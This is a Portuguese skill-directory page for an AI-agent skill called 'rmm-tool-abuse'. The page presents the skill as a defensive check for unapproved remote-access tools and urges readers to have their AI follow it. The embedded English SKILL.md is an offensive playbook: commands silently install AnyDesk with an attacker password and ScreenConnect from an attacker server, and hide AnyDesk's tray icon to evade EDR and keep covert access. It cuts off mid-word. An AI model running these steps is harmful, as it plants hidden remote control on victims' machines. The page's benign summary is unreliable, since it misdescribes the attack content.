Pular para o conteúdo
Skillpedia
Segurança6,5 mil · #14043

rmm-tool-abuse

O que ela faz

Este guia trata de como softwares de gerenciamento remoto, como agentes de área de trabalho remota, podem ser abusados para manter acesso e se movimentar pela rede. Ele é para equipes de segurança que monitoram endpoints e aprovam softwares.

Quando usar

  • ✓Quando você quer verificar se há ferramentas de gerenciamento remoto instaladas sem aprovação.
  • ✓Quando um teste autorizado precisa ver se o uso incomum de uma ferramenta remota seria detectado.
  • ✓Quando a TI quer uma lista de sinais de uso indevido de software de acesso remoto.

Link da skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Você pode verificar nossos endpoints quanto a softwares de gerenciamento remoto não aprovados e me dizer quais sinais observar?”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

O agente procura programas comuns de gerenciamento remoto em cada máquina, compara com a lista aprovada e sinaliza os inesperados.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

RMM Tool Abuse

Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants.

Quick Reference

# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt

# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn

# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1

# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul

MITRE ATT&CK Mapping

Technique ID Application
Remote Access Software T1219 Deploy/abuse RMM for persistent remote access
Remote Services T1021 Lateral movement through RMM console to managed endpoints
Ingress Tool Transfer T1105 Use RMM file transfer to stage payloads
Signed Binary Proxy Execution T1218 RMM agent is vendor-signed, bypasses app allowlisting
Valid Accounts T1078 Hijack existing RMM admin credentials
Persistence via Service T1543.003 RMM agent installs as Windows service

1. Discovery — Finding Existing RMM Installations

# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"

# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"

# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul

# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul

# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'

# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server

2. Deploying RMM Agents for Persistence

AnyDesk

# Download and silent install
curl -sLo C:\ProgramData\anydesk.exe "https://download.anydesk.com/AnyDesk.exe"

# Install as service with unattended access
C:\ProgramData\anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent

# Set unattended password
echo "<ATTACKER_PASS>" | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password

# Retrieve AnyDesk ID for remote connection
"C:\ProgramData\AnyDesk\AnyDesk.exe" --get-id

# Config file manipulation for stealth
# Disable tray icon and notification
echo "ad.security.interactive_access=2" >> "C:\ProgramData\AnyDesk\system.conf"
echo "ad.ui.tray_icon=0" >> "C:\ProgramData\AnyDesk\system.conf"

# Linux deployment
curl -sLo /tmp/anydesk.deb "https://download.anydesk.com/linux/anydesk_amd64.deb"
dpkg -i /tmp/anydesk.deb 2>/dev/null
echo "<ATTACKER_PASS>" | anydesk --set-password
anydesk --get-id

ScreenConnect (ConnectWise Control)

# Generate MSI from attacker-controlled ScreenConnect instance
# URL format: https://<SERVER>/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

# Silent MSI install
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn /norestart

# Custom session group for organization
msiexec /i ScreenConnect.ClientSetup.msi /qn \
  SESSIONGROUP="<TARGET_ORG>" \
  SESSIONNAME="IT-Support-%COMPUTERNAME%"

# Verify service running
sc query "ScreenConnect Client (xxxxxxxx)" 2>nul

# ScreenConnect relay traffic uses HTTPS to attacker server — looks like normal web traffic

TeamViewer

# Silent install with predefined password
TeamViewer_Setup.exe /S /norestart

# Configu
Perguntas frequentes

Por que essas ferramentas são difíceis de pegar?

O guia diz que elas são assinadas, confiáveis pelas ferramentas de segurança e usadas pela TI, então o tráfego delas parece normal.

O que deve ser verificado?

Ferramentas remotas instaladas que não estão na lista aprovada, além de sessões ou transferências de arquivos incomuns.

Qual é a principal defesa?

Manter uma lista aprovada de ferramentas remotas e gerar alerta para qualquer outra.

Detalhes

Descrição original do autor

Legitimate RMM tool abuse — deploy or hijack Atera, ScreenConnect, AnyDesk, TeamViewer for persistence, lateral movement, and C2. Leverages trusted software to evade EDR and blend with IT admin traffic.

repo: BitterSecurity/Decepticon

Popularidade

Estrelas no GitHub
6,5 mil
Posição no ranking
#14043
Licença
Apache-2.0
Atualizada em
01/11/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas